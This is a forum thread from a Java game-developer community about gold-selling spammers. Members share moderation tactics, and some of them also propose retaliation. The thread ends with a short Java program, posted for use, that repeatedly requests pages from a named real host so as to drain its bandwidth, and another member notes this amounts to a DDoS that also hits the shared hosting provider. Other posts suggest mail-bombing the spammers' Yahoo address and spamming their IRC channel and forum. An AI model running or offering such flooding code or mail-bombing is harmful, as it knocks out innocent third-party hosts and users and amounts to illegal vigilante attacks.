WHAT shall we do to these assholes?

[Jeff]

These jerks are spreading spam all over our boards.

(ex http://www.java-gaming.org/forums/index.php?topic=10006.15)

I think we need to find a good way to make the punishment fit the crime...

Suggestions?

[Jeff]

Here's their business email if you woudl like to tell them what you think of their advertising tactics.

gametrade100@yahoo.com

I just did...  about 20 times

[oNyx]

a) delete all posts of that user
b) delete the user
c) add the advertised url to the censorship list (this will render any future spamming useless)

Well, thats what I do anyways

Games published by our own members! Check 'em out!

[Jeff]

I also just went to the COV/COH forums and posted a message telling people these assholes are board spammers and asking them not to patronize them.

Any of you who are members of similar online game communities I encourage you to do likewise.

[Jeff]

a) delete all posts of that user
b) delete the user
c) add the advertised url to the censorship list (this will render any future spamming useless)

Well, thats what I do anyways

Ah Ive already asked chris to do the deletion. Didnt know about the banned URL function but if this BBS has it, we'll do it!

Thanks.

JK

[oNyx]

>Didnt know about the banned URL function

Its actually more of a "bad word" filter function, which replaces all "bad word"-substrings with some '*' (or 'x' or whatever). An url which contains some bad word such as "freeipod" could look like that: http://********.foobar.tld

I also use it for general nuke-age of those stupid referrer-id "games". I hate em so very very much.

[Matzon]

there is a live chat which can be used - and if nothing else, just to annoy them.

[Operator] hi
[Operator] what can i do for you?
[Visitor] why are you spamming boards ?
[Operator] i am sorry for taking trouble to you.we just take convenience to people who need this service.
[Operator] i am sorry to trouble you.
[Operator] maybe it is spamming for you.but if you need the service.it is useful.
[Operator] i am sorry again for taking trouble to you.^_^

so open up a chat window and tell how you feel about it - should annoy them.

[kevglass]

I took a more diplomaic route :

[Operator] hi
[Visitor] hey there
[Operator] what can i do for you ?
[Visitor] well, I was considering using your service
[Operator] k,
[Visitor] but then I read on one of the forums I read that your company uses "dodgy" advertising practices
[Visitor] is that true?
[Operator] "dodgy ??
[Operator] no ,
[Operator] we have been this line for a long time
[Visitor] yeah, the guy in question was saying that rubbish text adverts for your company had been spamming across a forum
[Visitor] worse than the spam mail I recieve everyday
[Operator] i can forward some thankful lettter to you
[Visitor] um, I'm sure some people are thank-ful
[Visitor] but I tend to be an active member of communities
[Visitor] and I don't want people banning me just for using a service known for spamming
[Operator] no no no ,we will not do anything
[Visitor] not do anything?
[Visitor] you mean you don't spam?
[Visitor] anyway, the site in question was http://www.java-gaming.org
[Visitor] I was just wondering if you could confirm or deny the advertising was from you
[Visitor] that way I could just go back and tell them it wasn't
[Operator] we only do power leveling and sell gold ,will not send any letter to you
[Visitor] but you advertising by throwing junk on to forum?
[Operator] which forum?
[Visitor] this one: http://www.java-gaming.org
[Visitor] there are loads of posts by "appleandorange" - all advertising this service
[Visitor] and I was >< close to signing up until a friend warned me that its a very bad thing to do
[Operator] oh,
[Visitor] I guess it would be ok, but the forum isn't even a game players forum
[Visitor] they're game developers
[Visitor] which made me think you didn't actually know much about what you were doing
[Operator] could you tell me which forum? which website ?thank you
[Visitor] this one: http://www.java-gaming.org
[Operator] ok, i will check for you ,and will not happen any more ,in fact i don't know who did
[Visitor] well, to be honest, its upset alot of people
[Visitor] I wouldn't be surprised if you get a few more conversations like this
[Operator] on ,this is the frist
[Operator] fist*
[Visitor] well, thanks for checking anyway. I'll see what happens and get back to you.
[Operator] k

Kev

[ChrisM]

Deleted posts and name blocked.  I am looking into an upgrade fo rhte forums that should help further address the spam issue.  Unfortunately, there is nothign that will stop all spam, we just have to deal with it as is comes along.

Thanks for keeping up on this!

-Chris

[Jeff]

there is a live chat which can be used - and if nothing else, just to annoy them.

[Operator] hi
[Operator] what can i do for you?
[Visitor] why are you spamming boards ?
[Operator] i am sorry for taking trouble to you.we just take convenience to people who need this service.
[Operator] i am sorry to trouble you.
[Operator] maybe it is spamming for you.but if you need the service.it is useful.
[Operator] i am sorry again for taking trouble to you.^_^

so open up a chat window and tell how you feel about it - should annoy them.

I missed that.  Just as well Chris handled it though. I wouldn't have been as nice.


Edit: They do it again though I know what I'm doing...  I'm gonna clip all the garbage text from their spam and start spamming their IRC channel back with it.

"My object all sublime, I shall achieve  in time, to let the punishment fit the crime, the punishment fit the crime." --
The Mikado

Games published by our own members! Check 'em out!

[arne]

Something like a spam filter for forums would be nice.
We could create a spam-section, where all the spam gets moved to, so messages that are recognised as spam, but aren't spam don't get deleted right away.
Posts in the spam-section get deleted automatically after e.g. one week.

I believe we already know loads of conditions for a message to be spam
1. if it's multiple posted
2. if loads of people report the post (maybe also weighted at the reporters number of post) etc...
...

[oNyx]

Thats a bad idea, arne.

If posts are moved to another forum spiders will still walk over em, which means that those spammers still get everything they hoped for (those handfull of people who click are just an extra).

The 3 steps (which I outlined above) are the best working counter measure.

[oNyx]

...

Someone should REALLY do something about that.

-what I said above
-email validation
-enforced 24h lurk period or first x posts (say 10) must be manually unlocked by a moderator (could depend on the existence of some url in the post)
-more admins

[Riven]

This time it really screwed up the 'unread threads'.

Action should be taken, not next month, preferably yesterday.


I'd even vote for 3 days of lurking

[woogley]

I say one person registers to his forum that represents the entire JGO community. that means he'll only get +1 person and we can have the pleasure of mass spamming his board.

hmm. yep.

[swpalmer]

Or we could write a little Java app that constantly downloads stuff from his site and spread it around .  His bandwidth costs go up, and his site responsiveness goes down.

[woogley]

yeah, off the top of my head:

1   2   3   4   5   6   7   8   9   10   11   12   13   14   15   16   17   18   19   20   21   22   23   24   25   26   27   28   29   30   31   32   33

import java.io.*; import java.net.*; public class Die {    public Die() throws IOException {       String host = "gametalk.invisionzone.com";       Socket sock = new Socket(host,80);       PrintStream p = new PrintStream(sock.getOutputStream());       String request = "GET / HTTP/1.1";       request+="\r\nFrom: darkangel@invisionzone.com";       request+="\r\nHost: "+host;       request+="\r\nConnection: Keep-Alive\r\n\r\n";       System.out.println(request);       BufferedReader b = new BufferedReader(new InputStreamReader(sock.getInputStream()));       p.print(request);       String s,lastLine = "";       while ((s = b.readLine()) != null) {          System.out.println(s);          if (s.length() == 0 && lastLine.equals("0")) {             p.println(request);             lastLine = "";          }          lastLine = ""+s;       }    }    public static void main(String args[]) {       try {          new Die();       }       catch (IOException e) {          e.printStackTrace();       }    } }

what a way to kill a boring night

[Riven]

All nice and well... but we're not only DDoSing his site, also the site of the hoster (invisionzone.com) or at least the 'shares' on his elcheapo-webserver

[Kova]

Here's their business email if you woudl like to tell them what you think of their advertising tactics.

gametrade100@yahoo.com

I just did...  about 20 times

hmmm.. yahoo mail, how about we fill it up with useless attachments so they can't receive mail for a short time? What's limit on yahoo? 10MB?

Anyway for new users I agree to have limitations like max 2 posts every 30 mins or something like that. When they reach 2 stars (junior member?) then all limitations are removed.

[swpalmer]

All nice and well... but we're not only DDoSing his site, also the site of the hoster (invisionzone.com) or at least the 'shares' on his elcheapo-webserver

I'm sure the hoster will have to start asking him questions then.. What's he gonna say?  "I was just advertising my site.  It must have worked!" :-)

[ChrisM]

Ok, ok.  So who would  like to do additional moderating?  Send me a PM.

-Chris